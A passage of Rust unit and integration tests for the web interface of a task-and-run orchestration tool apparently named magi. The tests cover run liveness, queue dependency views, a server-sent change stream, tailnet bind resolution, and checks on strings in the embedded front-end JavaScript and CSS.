9986 PathBuf::from("/repo/magi"),
9987 "main".to_owned(),
9988 "0123456789abcdef".to_owned(),
9989 "Review only".to_owned(),
9990 Config::default(),
9991 );
9992 state.id = id.to_owned();
9993 state.status = RunStatus::Reviewing;
9994 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
9995 state.driver_pid = Some(std::process::id());
10000 state.driver_started_at = Some("1".to_owned());
10001 let dir = f.runs().join(id);
10002 std::fs::create_dir_all(&dir).expect("run dir");
10003 std::fs::write(
10004 dir.join("run.json"),
10005 serde_json::to_string_pretty(&state).expect("serialize run"),
10006 )
10007 .expect("write run.json");
10008
10009 let detail = f.get(&format!("/api/runs/{id}")).await.json();
10010 assert_eq!(detail["live"], "dead", "{detail}");
10011 }
10012
10013 #[test]
10017 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
10018 let mk = |id: &str, pid: Option<u32>| {
10019 let mut s = RunState::new(
10020 PathBuf::from("/repo/magi"),
10021 "main".to_owned(),
10022 "0123456789abcdef".to_owned(),
10023 "Add a web UI".to_owned(),
10024 Config::default(),
10025 );
10026 s.id = id.to_owned();
10027 s.driver_pid = pid;
10028 s.driver_started_at = Some("1790000000".to_owned());
10029 s
10030 };
10031 let states = vec![
10032 mk("20260902-140502-aaaa", Some(77)),
10033 mk("20260902-140502-bbbb", Some(77)),
10034 mk("20260902-140502-cccc", Some(77)),
10035 mk("20260902-140502-dddd", None),
10036 ];
10037 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
10038 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
10039 let sup: HashMap<String, String> = [(
10040 "20260902-140502-aaaa".to_owned(),
10041 "20260902-140502-cccc".to_owned(),
10042 )]
10043 .into();
10044
10045 let status_calls = std::cell::Cell::new(0);
10046 let identity_calls = std::cell::Cell::new(0);
10047 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
10048 |_| {
10049 status_calls.set(status_calls.get() + 1);
10050 Some(true)
10051 },
10052 |_| {
10053 identity_calls.set(identity_calls.get() + 1);
10054 Some("1790000000".to_owned())
10055 },
10056 ));
10057 let rows = summarize(
10058 states,
10059 &open,
10060 &claimed,
10061 &sup,
10062 |p| probe.borrow_mut().status(p),
10063 |p| probe.borrow_mut().started_at(p),
10064 );
10065
10066 assert_eq!(status_calls.get(), 1, "one pid, one status query");
10067 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
10068 assert_eq!(rows.len(), 4);
10069 assert!(!rows[0].waiting && rows[1].waiting);
10070 assert_eq!(rows[0].live, crate::run::Liveness::Live);
10071 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
10072 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
10073 assert_eq!(rows[1].superseded_by, None);
10074 }
10075
10076 #[test]
10077 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
10078 let mut state = RunState::new(
10079 PathBuf::from("/repo/magi"),
10080 "main".to_owned(),
10081 "0123456789abcdef".to_owned(),
10082 "Review only".to_owned(),
10083 Config::default(),
10084 );
10085 state.id = "20260922-090200-dead".to_owned();
10086 state.status = RunStatus::Reviewing;
10087 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
10088 .expect("serialize list row");
10089 assert_eq!(row["status"], "reviewing");
10090 assert_eq!(row["live"], "dead", "{row}");
10091 assert!(!row["done"].as_bool().unwrap());
10092 }
10093
10094 #[tokio::test]
10095 async fn the_run_list_is_newest_first_and_honours_a_limit() {
10096 let f = Fixture::start().await;
10097 for id in [
10098 "20260902-140501-aaaa",
10099 "20260902-140502-bbbb",
10100 "20260902-140503-cccc",
10101 ] {
10102 write_run(&f.runs(), id, RunStatus::Merged);
10103 }
10104
10105 let all = f.get("/api/runs").await.json();
10106 let capped = f.get("/api/runs?limit=2").await.json();
10107
10108 assert_eq!(all[0]["id"], "20260902-140503-cccc");
10109 assert_eq!(all.as_array().map(Vec::len), Some(3));
10110 assert_eq!(capped.as_array().map(Vec::len), Some(2));
10111 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
10112 }
10113
10114 #[tokio::test]
10115 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
10116 let f = Fixture::start().await;
10117 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
10118
10119 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
10120
10121 assert_eq!(res.status, 200);
10122 assert!(
10123 res.headers
10124 .contains("content-type: text/plain; charset=utf-8"),
10125 "a browser must render it, not download it: {}",
10126 res.headers
10127 );
10128 assert!(
10132 res.body.contains("20260902-140501-a1b2"),
10133 "the report is about the run that was asked for: {}",
10134 res.body
10135 );
10136 }
10137
10138 #[tokio::test]
10139 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
10140 let f = Fixture::start().await;
10141
10142 let html = f.get("/").await;
10143 let css = f.get("/app.css").await;
10144 let js = f.get("/app.js").await;
10145
10146 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
10147 assert!(
10148 html.headers
10149 .contains("content-type: text/html; charset=utf-8")
10150 );
10151 assert!(css.headers.contains("content-type: text/css"));
10152 assert!(js.headers.contains("content-type: text/javascript"));
10153 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
10154 }
10155
10156 #[test]
10157 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
10158 let body = |name: &str| {
10159 let at = APP_JS
10160 .find(name)
10161 .unwrap_or_else(|| panic!("{name} missing"));
10162 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
10163 };
10164 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
10165 let note = body("function landRoundNote");
10166 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
10167 assert!(note.contains("Land round ${round}"));
10168 let land = body("function renderLand");
10169 let note_at = land
10170 .find("landRoundNote(pr)")
10171 .expect("renderLand uses the note");
10172 assert!(
10173 note_at
10174 < land
10175 .find("roundRail(pr)")
10176 .expect("renderLand uses the rail")
10177 );
10178 }
10179
10180 #[test]
10181 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
10182 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
10183 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
10184 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
10185 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
10186 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
10187 assert!(APP_JS.contains("unreadable` : null"));
10189 }
10190
10191 #[test]
10192 fn the_run_detail_payload_says_whether_the_run_is_done() {
10193 for (status, done) in [
10195 (RunStatus::Superseded, true),
10196 (RunStatus::Blocked, true),
10197 (RunStatus::Landing, false),
10198 ] {
10199 let mut state = RunState::new(
10200 std::path::PathBuf::from("/repo"),
10201 "main".to_owned(),
10202 "abc".to_owned(),
10203 "x".to_owned(),
10204 crate::config::Config::default(),
10205 );
10206 state.status = status;
10207 let v = serde_json::to_value(RunDetailView::of(
10208 state,
10209 crate::run::Liveness::Unknown,
10210 None,
10211 None,
10212 None,
10213 ))
10214 .unwrap();
10215 assert_eq!(v["done"], done, "{status:?}");
10216 }
10217 }
10218
10219 #[test]
10220 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
10221 assert!(APP_JS.contains("function landView(run, raw) {"));
10225 assert!(
10226 APP_JS.contains(
10227 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
10228 )
10229 );
10230 assert!(APP_JS.contains("const pr = landView(run, raw);"));
10231 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
10232 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
10233 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
10234 }
10235
10236 #[test]
10237 fn live_runs_are_never_hidden_or_folded_as_superseded() {
10238 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
10239 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
10240 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
10241 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
10242 }
10243
10244 #[test]
10245 fn review_rounds_label_a_distinct_verified_head() {
10246 assert!(APP_JS.contains("round.verified_head"));
10247 assert!(APP_JS.contains("verified HEAD"));
10248 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
10249 }
10250
10251 #[test]
10252 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
10253 assert!(APP_JS.contains("blocked: { glyph:"));
10257 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
10258
10259 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
10263 assert!(
10264 APP_JS.contains(
10265 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
10266 ),
10267 "the note line must name what a blocked task is waiting on, not just that it is blocked"
10268 );
10269 assert!(APP_JS.contains("if (status === \"blocked\") {"));
10273
10274 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
10278 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
10279 assert!(
10280 APP_JS.contains("location.hash = \"#/questions\";"),
10281 "a question node must jump to the Questions screen, not pretend to be a task"
10282 );
10283
10284 assert!(APP_JS.contains("Resolved questions"));
10287 assert!(APP_JS.contains("r.answersList.append("));
10288 assert!(APP_CSS.contains(".task-answers"));
10289 {
10290 let start = APP_JS
10291 .find("function updateTalkTaskRow")
10292 .expect("updateTalkTaskRow");
10293 let body = &APP_JS[start..start + 900];
10294 assert!(body.contains("task.runs[") || body.contains("runs[runs.length - 1]"));
10295 assert!(body.contains("setAttr(r.link, \"href\""));
10296 assert!(body.contains(
10297 "latest ? `#/runs/${latest}` : `#/queue/${encodeURIComponent(task.id)}`"
10298 ));
10299 assert!(
10300 !body.contains(": \"#/queue\""),
10301 "a task with no run must link to its own queue card, not the bare queue"
10302 );
10303 assert!(APP_CSS.contains(".talk-task-link"));
10304 }
10305 }
10306
10307 #[test]
10308 fn a_task_notification_links_to_its_own_card_not_the_bare_backlog() {
10309 assert!(
10314 APP_JS.contains(
10315 "el(\"a\", { href: `#/queue/${encodeURIComponent(link.id)}`, text: `Task ${shortId(link.id)}` })"
10316 ),
10317 "a task notice's link must carry the task id into the hash, not just name the Backlog screen"
10318 );
10319 assert!(
10320 !APP_JS.contains("el(\"a\", { href: \"#/queue\", text: `Task ${shortId(link.id)}` })"),
10321 "regression: the task link must not go back to naming the bare Backlog route"
10322 );
10323
10324 assert!(
10327 APP_JS.contains(
10328 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
10329 ),
10330 "`#/queue/<id>` must parse into a route carrying that id"
10331 );
10332
10333 assert!(APP_JS.contains("state.queueFocus = route.id;"));
10337 assert!(APP_JS.contains("function consumeQueueFocus()"));
10338 assert!(APP_JS.contains("jumpToTask(id)"));
10339 }
10340
10341 #[test]
10345 fn wide_screens_show_list_and_preview_side_by_side() {
10346 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
10348 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
10349 assert!(APP_CSS.contains("main[data-split]"));
10350 assert!(APP_CSS.contains("body[data-split]"));
10351
10352 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
10354 assert!(APP_JS.contains("case \"run\": return { list: \"runs\", detail: \"run\" };"));
10355 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
10356 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
10357 assert!(INDEX_HTML.contains("id=\"split-empty\""));
10358
10359 assert!(APP_JS.contains("function markSelected() {"));
10361 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
10362 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
10363 assert!(
10365 APP_CSS.contains(
10366 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
10367 )
10368 );
10369
10370 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
10372 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
10373 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
10374 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
10375
10376 assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
10380 assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
10381 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
10382 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
10383
10384 assert!(APP_JS.contains("sandbox: \"\""));
10386 assert!(!APP_JS.contains("sandbox: \"allow"));
10387 }
10388
10389 #[test]
10390 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
10391 assert!(
10400 APP_JS.contains(
10401 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
10402 ),
10403 "the search-clearing branch must run before state.queueFocus is cleared, or the \
10404 recursive renderQueue() call has nothing left to jump to"
10405 );
10406 assert!(
10407 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
10408 "state.queueFocus must be cleared only once the jump has landed, so a card that \
10409 arrives later still gets it"
10410 );
10411 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
10412 assert!(APP_JS.contains("is not in the current Backlog."));
10413 assert!(APP_JS.contains("li.card[data-task-id=\""));
10414 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
10415 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
10416 assert!(APP_CSS.contains(".card-permalink"));
10417 assert!(APP_CSS.contains(".queue-focus-status"));
10418 assert!(APP_JS.contains("const section = route.name === \"run\" ? \"runs\""));
10419 }
10420
10421 #[test]
10422 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
10423 assert!(
10431 APP_JS.contains(
10432 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
10433 ),
10434 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
10435 );
10436 }
10437
10438 #[test]
10439 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
10440 assert!(
10441 APP_JS.contains("round.verified_head !== round.head"),
10442 "a round that verified an earlier commit must be visibly distinct from one that \
10443 verified the head reviewers are looking at now"
10444 );
10445 assert!(
10446 APP_JS.contains("round.verified_at"),
10447 "when a check ran must be on the wire, not just which commit"
10448 );
10449 assert!(
10450 APP_JS.contains("resource_blocked"),
10451 "a command magi never got to run (shared build cache contention) must not render \
10452 the same as a command that ran and failed"
10453 );
10454 }
10455
10456 #[test]
10457 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
10458 assert!(
10466 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
10467 "every KPI tile built through statusTile() must route its click through \
10468 openRunsFiltered, the single place that sets the Runs filter"
10469 );
10470 for (label, status) in [
10471 ("Merged", "merged"),
10472 ("Ready", "ready"),
10473 ("Blocked", "blocked"),
10474 ("Stalled", "stalled"),
10475 ] {
10476 let call = format!("statusTile(\"{label}\", t.{status}, ");
10477 assert!(
10478 APP_JS.contains(&call),
10479 "expected the {label} KPI tile built via {call}..."
10480 );
10481 assert!(
10482 APP_JS.contains(&format!("status === \"{status}\"")),
10483 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
10484 compare a run against, not one invented only for the stats tile"
10485 );
10486 }
10487 assert!(
10488 APP_JS.contains("function openRunsFiltered(status)"),
10489 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
10490 );
10491 assert!(
10492 APP_JS.contains("if (status && String(run.status || \"\") !== status) return false;"),
10493 "matchesFilter must gate on the exact status a KPI tile named"
10494 );
10495 assert!(
10503 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
10504 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
10505 hashchange event that may never fire"
10506 );
10507 }
10508
10509 #[test]
10510 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
10511 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
10517 assert!(
10518 APP_JS.contains(
10519 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
10520 ),
10521 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
10522 guard for an incompatible tree section"
10523 );
10524 }
10525
10526 #[test]
10527 fn every_stats_queue_tile_names_a_real_queue_section() {
10528 assert!(
10534 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
10535 "every queue tile built through sectionTile() must route its click through \
10536 openQueueSectionFocus"
10537 );
10538 for key in ["upnext", "running", "done", "held", "blocked"] {
10539 assert!(
10540 APP_JS.contains(&format!("{{ key: \"{key}\",")),
10541 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
10542 );
10543 }
10544 for line in [
10548 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
10549 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
10550 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
10551 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
10552 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
10553 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
10554 ] {
10555 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
10556 }
10557 }
10558
10559 #[test]
10560 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
10561 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
10568 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
10569 assert!(APP_JS.contains("function revealQueueSection(details)"));
10570 assert!(
10571 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
10572 "renderQueue() must consume both focus channels on every pass"
10573 );
10574 assert!(
10575 APP_JS.contains(
10576 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
10577 ),
10578 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
10579 the recursive renderQueue() call has nothing left to reveal"
10580 );
10581 assert!(
10582 APP_JS.contains(
10583 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
10584 ),
10585 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
10586 );
10587 assert!(
10595 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
10596 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
10597 hashchange event that may never fire"
10598 );
10599 }
10600
10601 #[tokio::test]
10602 async fn the_change_stream_announces_the_current_revisions_on_connect() {
10603 let f = Fixture::start().await;
10604
10605 let mut socket = tokio::net::TcpStream::connect(f.addr)
10606 .await
10607 .expect("connect");
10608 socket
10609 .write_all(
10610 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
10611 )
10612 .await
10613 .expect("write request");
10614
10615 let mut seen = String::new();
10618 let mut buf = [0u8; 1024];
10619 while !seen.contains("event: change") {
10620 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
10621 .await
10622 .expect("the stream must speak within five seconds")
10623 .expect("read");
10624 assert!(read > 0, "the server closed the change stream: {seen}");
10625 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
10626 }
10627
10628 assert!(
10629 seen.to_lowercase()
10630 .contains("content-type: text/event-stream"),
10631 "the browser only reconnects automatically for a real SSE stream: {seen}"
10632 );
10633 let data = seen
10634 .lines()
10635 .find_map(|l| l.strip_prefix("data:"))
10636 .expect("a data line");
10637 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
10638 assert!(
10639 payload["queue_rev"].is_u64()
10640 && payload["runs_rev"].is_u64()
10641 && payload["questions_rev"].is_u64()
10642 && payload["talks_rev"].is_u64()
10643 && payload["notifications_rev"].is_u64()
10644 && payload["loop_rev"].is_u64(),
10645 "the client needs one revision per store to know what to refetch, \
10646 and `talks_rev` is the only notification a standing talk gets - a \
10647 phone whose radio slept through a turn learns about it here, as \
10648 does one whose operator started the loop from another device: \
10649 {payload}"
10650 );
10651
10652 let health = f.get("/api/health").await.json();
10659 for key in [
10660 "queue_rev",
10661 "runs_rev",
10662 "questions_rev",
10663 "talks_rev",
10664 "notifications_rev",
10665 "loop_rev",
10666 ] {
10667 assert!(
10668 health[key].is_u64(),
10669 "health is the change stream's fallback and is missing `{key}`: {health}"
10670 );
10671 }
10672 }
10673
10674 #[tokio::test]
10675 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
10676 let f = Fixture::start().await;
10677 let before = f.get("/api/health").await.json()["talks_rev"]
10678 .as_u64()
10679 .expect("talks_rev");
10680
10681 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
10682 std::thread::sleep(Duration::from_millis(10));
10683 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
10684 on_disk.turns.push(crate::talk::Turn {
10685 who: crate::talk::Who::Operator,
10686 body: "a new turn".to_owned(),
10687 at: Timestamp::now(),
10688 attachments: Vec::new(),
10689 usage: None,
10690 });
10691 f.talks().put(&mut on_disk).expect("record a turn");
10692
10693 let after = f.get("/api/health").await.json()["talks_rev"]
10694 .as_u64()
10695 .expect("talks_rev");
10696 assert_ne!(
10697 before, after,
10698 "a phone must be able to notice a talk's reply without polling every store"
10699 );
10700 }
10701
10702 #[test]
10703 fn bind_reads_back_from_the_spelling_the_cli_prints() {
10704 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
10708 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
10709 }
10710 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
10711 assert!("everywhere".parse::<Bind>().is_err());
10712 }
10713
10714 #[test]
10715 fn an_explicit_bind_address_is_taken_verbatim() {
10716 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
10717
10718 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
10719
10720 assert_eq!(addr, asked);
10721 assert!(
10722 warning.is_none(),
10723 "an operator who named an address gets no lecture"
10724 );
10725 }
10726
10727 #[test]
10728 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
10729 let (addr, warning) = resolve_bind(&Bind::Auto);
10730
10731 match addr {
10738 IpAddr::V4(ip) if is_tailnet(&ip) => {
10739 assert!(warning.is_none(), "a tailnet address needs no warning");
10740 }
10741 other => {
10742 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
10743 let warning = warning.expect("a fallback has to explain itself");
10744 assert!(
10745 warning.contains("127.0.0.1") && warning.contains("local-only"),
10746 "the warning says what happened and what it costs: {warning}"
10747 );
10748 }
10749 }
10750 }
10751
10752 #[test]
10753 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
10754 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
10758 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
10759 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
10760 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
10761 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
10762 }
10763
10764 #[test]
10765 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
10766 let ids = vec![
10767 "20260902-140501-aaaa".to_owned(),
10768 "20260902-140502-aabb".to_owned(),
10769 ];
10770
10771 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
10772 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
10773 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
10774
10775 assert_eq!(missing.status, StatusCode::NOT_FOUND);
10776 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
10777 assert_eq!(short, "20260902-140502-aabb");
10778 }
10779 #[tokio::test]
10780 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
10781 let fx = Fixture::start().await;
10787 let id = panel(
10788 &fx,
10789 "<img src=\"shot.png\">",
10790 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
10791 );
10792
10793 let doc = fx
10795 .get(&format!("/api/questions/{id}/panel/index.html"))
10796 .await;
10797 assert_eq!(doc.status, 200, "{}", doc.body);
10798 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
10799
10800 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
10801 assert_eq!(sibling.status, 200, "{}", sibling.body);
10802 assert_eq!(sibling.header("content-type"), Some("image/png"));
10803 assert_eq!(
10804 sibling.header("content-security-policy"),
10805 Some(PANEL_CSP),
10806 "the sibling route must carry the same policy as the asset route"
10807 );
10808
10809 assert_eq!(
10812 fx.head(&format!("/api/questions/{id}/panel")).await.status,
10813 200
10814 );
10815 }
10816
10817 #[test]
10818 fn runs_revision_moves_when_deleting_an_older_run() {
10819 let temp = TempDir::new().expect("tempdir");
10820 let runs = temp.path().join("runs");
10821 std::fs::create_dir_all(&runs).expect("create runs dir");
10822
10823 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
10824
10825 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
10826 std::thread::sleep(Duration::from_millis(10));
10827 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
10828
10829 let rev_before = runs_revision(&runs);
10830 assert!(rev_before > 0);
10831
10832 let old_dir = runs.join("20260901-100000-old1");
10833 std::fs::remove_dir_all(&old_dir).expect("remove old run");
10834
10835 let rev_after = runs_revision(&runs);
10836 assert_ne!(
10837 rev_before, rev_after,
10838 "deleting an older run must change the revision so other clients see the deletion"
10839 );
10840 }
10841
10842 fn write_state(runs: &FsPath, state: &RunState) {
10847 let dir = runs.join(&state.id);
10848 std::fs::create_dir_all(&dir).expect("run dir");
10849 std::fs::write(
10850 dir.join("run.json"),
10851 serde_json::to_string_pretty(state).expect("serialize run"),
10852 )
10853 .expect("write run.json");
10854 }
10855
10856 #[test]
10861 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
10862 let temp = TempDir::new().expect("tempdir");
10863 let runs = temp.path().join("runs");
10864 std::fs::create_dir_all(&runs).expect("create runs dir");
10865 let mut state = RunState::new(
10866 PathBuf::from("/repo/magi"),
10867 "main".to_owned(),
10868 "0123456789abcdef".to_owned(),
10869 "task".to_owned(),
10870 Config::default(),
10871 );
10872 state.id = "20260902-100000-c0de".to_owned();
10873 write_state(&runs, &state);
10874
10875 let rev_idle = runs_revision(&runs);
10876 std::thread::sleep(Duration::from_millis(10));
10877 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
10878 write_state(&runs, &state);
10879 let rev_started = runs_revision(&runs);
10880 assert_ne!(
10881 rev_idle, rev_started,
10882 "a seat starting must move the revision"
10883 );
10884
10885 std::thread::sleep(Duration::from_millis(10));
10886 state.seat_finished("judge-1");
10887 write_state(&runs, &state);
10888 let rev_finished = runs_revision(&runs);
10889 assert_ne!(
10890 rev_started, rev_finished,
10891 "and clearing it again must move the revision a second time"
10892 );
10893 }
10894
10895 #[tokio::test]
10896 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
10897 let fx = Fixture::start().await;
10902 let q = fx.queue();
10903
10904 let mut t = Task::new(
10905 "Task".to_owned(),
10906 "Instruction".to_owned(),
10907 PathBuf::from("/repo"),
10908 Source::Human,
10909 );
10910 t.block(
10911 vec!["20260101-000000-dead".to_owned()],
10912 Some("waiting on Task 1".to_owned()),
10913 );
10914 t.answers.push(crate::queue::AnsweredQuestion {
10915 question: "Which backend?".to_owned(),
10916 answer: "SQLite".to_owned(),
10917 });
10918 q.put(&mut t).expect("put t");
10919
10920 let res = fx.get("/api/queue").await;
10921 assert_eq!(res.status, 200);
10922 let list = res.json();
10923 let view = list
10924 .as_array()
10925 .expect("array")
10926 .iter()
10927 .find(|v| v["id"] == t.id)
10928 .expect("task in list");
10929 assert_eq!(view["status_str"], "blocked");
10930 assert_eq!(
10931 view["blocked_by"],
10932 serde_json::json!(["20260101-000000-dead"])
10933 );
10934 assert_eq!(view["block_reason"], "waiting on Task 1");
10935 assert_eq!(view["answers"][0]["question"], "Which backend?");
10936 assert_eq!(view["answers"][0]["answer"], "SQLite");
10937
10938 let res = fx
10942 .post(&format!("/api/queue/{}/hold", t.short()), None)
10943 .await;
10944 assert_eq!(res.status, 200);
10945 let held = res.json();
10946 assert_eq!(held["status_str"], "held");
10947 assert_eq!(held["blocked_by"], serde_json::json!([]));
10948 assert!(held["block_reason"].is_null());
10949 assert_eq!(held["answers"][0]["answer"], "SQLite");
10950 }
10951
10952 #[tokio::test]
10953 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
10954 let fx = Fixture::start().await;
10955 let q = fx.queue();
10956 let mk = |title: &str| {
10957 Task::new(
10958 title.to_owned(),
10959 "Instruction".to_owned(),
10960 PathBuf::from("/repo"),
10961 Source::Human,
10962 )
10963 };
10964 let mut root = mk("root");
10965 root.hold_manual(Some("waiting".to_owned()));
10966 q.put(&mut root).unwrap();
10967 let mut mid = mk("mid");
10968 mid.block(vec![root.id.clone()], None);
10969 q.put(&mut mid).unwrap();
